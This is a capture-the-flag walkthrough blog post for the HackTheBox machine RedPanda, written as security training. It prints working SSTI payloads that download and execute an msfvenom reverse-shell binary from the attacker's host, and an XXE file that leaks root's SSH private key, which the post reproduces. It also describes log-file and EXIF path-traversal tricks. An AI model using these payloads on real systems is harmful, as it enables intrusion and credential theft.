HackTheBox – RedPanda

Hi everyone! This is a Linux machine that requires exploiting SSTI in a Java SpringFramework application via a search bar on the webpage for RCE and then initial access. For privilege escalation, we will need to emulate what group the user is in, discover a log file he/she has access to, use pspy to discover a JAR file root periodically run, study that JAR file to discover conditions required to pass, exploiting directory traversal, and generate an XXE XML file to leak root’s SSH private key. The privilege escalation for this machine is hard and shouldn’t be an easy category machine. Let’s get started!

1. Nmap enumeration

$ sudo nmap -sC -sV -p- 10.129.33.139
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open  http-proxy
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=UTF-8
|     Content-Language: en-US
|     Date: Mon, 11 Jul 2022 16:45:47 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en" dir="ltr">
|     <head>
|     <meta charset="utf-8">
|     <meta author="wooden_k">
|     <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
|     <link rel="stylesheet" href="css/panda.css" type="text/css">
|     <link rel="stylesheet" href="css/main.css" type="text/css">
|     <title>Red Panda Search | Made with Spring Boot</title>
|     </head>
|     <body>
|     <div class='pande'>
|     <div class='ear left'></div>
|     <div class='ear right'></div>
|     <div class='whiskers left'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='whiskers right'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='face'>
|     <div class='eye
|   HTTPOptions: 
|     HTTP/1.1 200 
|     Allow: GET,HEAD,OPTIONS
|     Content-Length: 0
|     Date: Mon, 11 Jul 2022 16:45:47 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Mon, 11 Jul 2022 16:45:48 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Red Panda Search | Made with Spring Boot
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

2. Web enumeration

When I pressed the search button, it shows that the machine might require us to perform some kind of injection.

2.1 SSTI discovery

I wandered about doing SQL injection before trying out Server-Side Template Injection (SSTI) and realized it works! I tried "#{7*7}" which works. You can obtain the list of SSTI by acunetix to try out here.

If you give "*{7*7}" a try, it works as well with cleaner output.

If I try "*{7*'7'}", it wouldn’t work which showed that it is not a Python program.

2.2 Identifying the backend application

While inputting "*{7*'7'}", I received this error page. A quick Google of the error message allows me to find out it uses SpringFramework.

Googling of SpringFramework’s SSTI allows me to find a cheat sheet for it. I tested "*{"dfd".replace("d","x")}" and it works as characters ‘d’ are replaced with ‘x’.

I also tried to test with cURL by hosting an HTTP server on my kali and send a cURL request using SSTI on the search bar.

*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://10.10.16.57")}

My kali was able to receive an incoming connection.

2.3 Banned characters

While doing some testing, I received a message that it contains banned characters. Further testing allows me to find out characters like underscore ‘_’ and percentage ‘%’, are banned.

2.4 Reverse shell

Firstly, we will need to generate a reverse shell using msfvenom. Remember to replace the LHOST value with your attack machine’s IP address.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.57 LPORT=443 -f elf > r.elf

Start your Netcat listener for the reverse shell.

bash
nc -lvnp 443

Start your HTTP server in the same location as r.elf if you haven’t using Python. Then send the following commands one by one over the website’s search bar to transfer r.elf, change the permission, and execute it.

*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("wget 10.10.16.57/r.elf")}

*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("chmod 777 ./r.elf")}

*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("./r.elf")}

Your Netcat should receive a reverse shell. Make the shell tty.

$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.57] from (UNKNOWN) [10.129.33.135] 33840
python3 -c 'import pty; pty.spawn("/bin/bash")'
woodenk@redpanda:/tmp/hsperfdata_woodenk$ CTRL + Z
stty raw -echo
fg
export TERM=xterm
woodenk@redpanda:/tmp/hsperfdata_woodenk$ 

2.5 Obtaining the user flag

woodenk@redpanda:/tmp/hsperfdata_woodenk$ cd ~
woodenk@redpanda:/home/woodenk$ ls
user.txt
woodenk@redpanda:/home/woodenk$ cat user.txt 
ad*****************************

3. Privilege escalation

3.1 Finding out why reverse shell has more privilege than SSH

This isn’t a piece of useful information but I will leave it here for those who are interested. If you SSH into the user account, both its user and group is woodenk. However, the reverse shell has logs group privilege too. This is because the web application is based on panda_search-0.0.1-SNAPSHOT.jar and it is executed with logs privilege.

woodenk@redpanda:/home/woodenk$ ps aux | grep root
...
root         865  0.0  0.0   2608   596 ?        Ss   Jul11   0:00 /bin/sh -c sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
root         866  0.0  0.2   9420  4368 ?        S    Jul11   0:00 sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar

3.2 Group-owned file

Using the id command allows me to find out if the current user belongs to logs group. A quick search in the current processes ran by root allows me to find the web interface application is from panda_search-0.0.1-SNAPSHOT.jar. When searching for files owned by logs group, I noticed /opt/panda_search/redpanda.log. We also have READ+WRITE access to the log file.

woodenk@redpanda:/home/woodenk$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)

woodenk@redpanda:/home/woodenk$ find / -group logs 2>/dev/null
...
/opt/panda_search/redpanda.log

woodenk@redpanda:/home/woodenk$ ls -l /opt/panda_search/redpanda.log
-rw-rw-r-- 1 root logs 18052 Jul 11 00:00 /opt/panda_search/redpanda.log

3.3 Some kind of jar file running as root

When using pspy64, I noticed once in a while, a JAR file will be executed by root.

woodenk@redpanda:/home/woodenk$ cd /tmp
woodenk@redpanda:/tmp$ wget 10.10.16.57/pspy64
woodenk@redpanda:/tmp$ chmod +x ./pspy64
woodenk@redpanda:/tmp$ ./pspy64
...
2022/07/12 08:22:01 CMD: UID=0    PID=16166  | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar

I decided to host an HTTP server at port 8000 in /opt/credit-score/LogParser/final/target/ and download the file. Opening the JAR file using jd-gui, I see that /opt/panda_search/redpanda.log is being read in main().

package com.logparser;
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import org.jdom2.Document;
import org.jdom2.Element;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
public class App {
  public static Map parseLog(String line) {
    String[] strings = line.split("\\|\\|");
    Map<Object, Object> map = new HashMap<>();
    map.put("status_code", Integer.valueOf(Integer.parseInt(strings[0])));
    map.put("ip", strings[1]);
    map.put("user_agent", strings[2]);
    map.put("uri", strings[3]);
    return map;
  }
  
  public static boolean isImage(String filename) {
    if (filename.contains(".jpg"))
      return true; 
    return false;
  }
  
  public static String getArtist(String uri) throws IOException, JpegProcessingException {
    String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
    File jpgFile = new File(fullpath);
    Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
    for (Directory dir : metadata.getDirectories()) {
      for (Tag tag : dir.getTags()) {
        if (tag.getTagName() == "Artist")
          return tag.getDescription(); 
      } 
    } 
    return "N/A";
  }
  
  public static void addViewTo(String path, String uri) throws JDOMException, IOException {
    SAXBuilder saxBuilder = new SAXBuilder();
    XMLOutputter xmlOutput = new XMLOutputter();
    xmlOutput.setFormat(Format.getPrettyFormat());
    File fd = new File(path);
    Document doc = saxBuilder.build(fd);
    Element rootElement = doc.getRootElement();
    for (Element el : rootElement.getChildren()) {
      if (el.getName() == "image")
        if (el.getChild("uri").getText().equals(uri)) {
          Integer totalviews = Integer.valueOf(Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1);
          System.out.println("Total views:" + Integer.toString(totalviews.intValue()));
          rootElement.getChild("totalviews").setText(Integer.toString(totalviews.intValue()));
          Integer views = Integer.valueOf(Integer.parseInt(el.getChild("views").getText()));
          el.getChild("views").setText(Integer.toString(views.intValue() + 1));
        }  
    } 
    BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
    xmlOutput.output(doc, writer);
  }
  
  public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
    File log_fd = new File("/opt/panda_search/redpanda.log");
    Scanner log_reader = new Scanner(log_fd);
    while (log_reader.hasNextLine()) {
      String line = log_reader.nextLine();
      if (!isImage(line))
        continue; 
      Map parsed_data = parseLog(line);
      System.out.println(parsed_data.get("uri"));
      String artist = getArtist(parsed_data.get("uri").toString());
      System.out.println("Artist: " + artist);
      String xmlPath = "/credits/" + artist + "_creds.xml";
      addViewTo(xmlPath, parsed_data.get("uri").toString());
    } 
  }
}

Based on the code, we can see that content of /opt/panda_search/redpanda.log will be read line by line. After understanding the code, I realized there are a few conditions to pass:

  • The line must contain “.jpg” in the string
  • split() will be done to the string where “||” is the delimiter. See this article for .split(“\\|\\|”).
    • The string must be split into 4 strings:
      • The first string must be a number.
      • 4th string must be pointing to an existing .jpg file.
  • The .jpg file’s metadata tag “Artist” must have a value that matched to /credits/<author_name>_creds.xml.
    • Since the current user does not have WRITE access to /credits, I have to set the “Artist” value to “../tmp/gg” where our XML exploit will be at /tmp/gg_credits.xml.
  • JPG file should be in a folder where the current user has WRITE access. I used /tmp.
  •  

Next, I will be talking about the steps of creating the exploit redpanda.log, JPG and XML files. Remember to run final-1.0-jar-with-dependencies.jar on your attack machine to test your exploit files locally to ensure they work before uploading to the victim’s machine.

3.4 Create a JPG file and add the Author’s name

Firstly, create a JPG file. I used MS paint to do so and transferred it to my Kali machine’s /tmp.

Remember in the condition I said that our current user does not have WRITE access to the /credits folder? We can check using the following command.

Since we are not the folder’s owner, we cannot change its permission. Due to the source code does not sanitize our Artist’s name, we can use a name that directory traversals to where we store our exploit XML file in a folder where our user has WRITE access.

Use ExifTool to add the Artist tag with the value “../tmp/gg”.

$ exiftool -Artist="../tmp/gg"  pe_exploit.jpg

3.5 Creating XML file

A quick and easy way to see the structure of the required XML is to look at an existing XML file on the victim’s machine.

woodenk@redpanda:/tmp$ ls /credits/
damian_creds.xml  woodenk_creds.xml
woodenk@redpanda:/tmp$ cat /credits/woodenk_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<credits>
  <author>woodenk</author>
  <image>
    <uri>/img/greg.jpg</uri>
    <views>1</views>
  </image>
  <image>
    <uri>/img/hungy.jpg</uri>
    <views>1</views>
  </image>
  <image>
    <uri>/img/smooch.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/smiley.jpg</uri>
    <views>0</views>
  </image>
  <totalviews>2</totalviews>
</credits>

We shall also look at the code to omit unnecessary data and modify them to make it work.

Finally, we can create /tmp/gg_creds.xml where we will use XML Entity Expansion (XXE) in Java to read the root’s private SSH key. To ensure it is working, you can try to read other stuff first such as /etc/passwd. Note that I changed the URI value to the location of my JPG. In the next section, I will explain why the JPG name looks strange.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa" >]>
<credits>
  <author>gg</author>
  <image>
    <uri>/../../../../../../tmp/pe_exploit.jpg</uri>
    <views>1</views>
    <foo>&xxe;</foo>
  </image>
  <totalviews>2</totalviews>
</credits>

3.6 Content for the log file

We know that there are a few conditions for the content in the log file:

  • split() will be done to the string where “||” is the delimiter. See this article for .split(“\\|\\|”).
    • The string must be split into 4 strings:
      • The first string must be a number.
      • 4th string must be pointing to an existing .jpg file.

Besides that, the JPG file will be read from this directory: /opt/panda_search/src/main/resources/static

Since we only have WRITE access to /home/woodenk or /tmp, I decided to use /tmp. Since there is also no sanitizing of the file name, we can use directory traversal to point to the JAR file to read our JPG file located in /tmp.

wooden/opt/panda_search/src/main/resources/static/../../../../../../tmp/pe_exploit.jpg

Therefore, our final content for /opt/panda_search/redpanda.log:

222||a||a||/../../../../../../tmp/pe_exploit.jpg

Note that we also must update the URI/filename of our JPG file to the correct name in /tmp/gg_creds.xml. I have already done so in the previous section.

/opt/panda_search/redpanda.log is actually a web access log file where it stores web access such as HTTP status, user agent, accessed page, etc, You will notice its content is filled up as you visit the victim machine’s website. (Note that there is a root script that will empty it once in a while.) Therefore, you can choose to modify the user-agent to “/../../../../../../tmp/pe_exploit.jpg” if you want. I find it troublesome. Since we can directly write to /opt/panda_search/redpanda.log, why not?

3.7 Transfer the files and modify the log file

We will need to transfer each exploit file to its correct location based on the source code as they are read from specific locations. Remember to host an HTTP server at port 80 using Python3 on the location where you created the exploit files.

woodenk@redpanda:/tmp$ wget 10.10.16.57/pe_exploit.jpg -P /tmp
woodenk@redpanda:/tmp$ wget 10.10.16.57/gg_creds.xml -P /tmp
woodenk@redpanda:/tmp$ echo "222||a||a||/../../../../../../tmp/pe_exploit.jpg" > /opt/panda_search/redpanda.log

3.8 Obtaining root shell

Wait for a few minutes and read /tmp/gg_creds.xml. You should see foo’s value is now replaced with root’s private key.

woodenk@redpanda:/tmp$ cat /tmp/gg_creds.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
  <author>gg</author>
  <image>
    <uri>/../../../../../../tmp/pe_exploit.jpg</uri>
    <views>2</views>
    <foo>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</foo>
  </image>
  <totalviews>3</totalviews>
</credits>

Store the private key in le_key.txt and change its permission before SSH into the victim’s machine as root using the private key.

$ chmod 600 ./le_key.txt
$ ssh root@10.129.31.193 -i le_key.txt
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 12 Jul 2022 05:52:30 PM UTC

  System load:           0.0
  Usage of /:            80.5% of 4.30GB
  Memory usage:          41%
  Swap usage:            0%
  Processes:             216
  Users logged in:       0
  IPv4 address for eth0: 10.129.31.193
  IPv6 address for eth0: dead:beef::250:56ff:fe96:3dc5


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu Jun 30 13:17:41 2022
root@redpanda:~# 

3.9 Obtaining the root flag

root@redpanda:~# ls
root.txt  run_credits.sh
root@redpanda:~# cat root.txt 
4a*****************************

I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.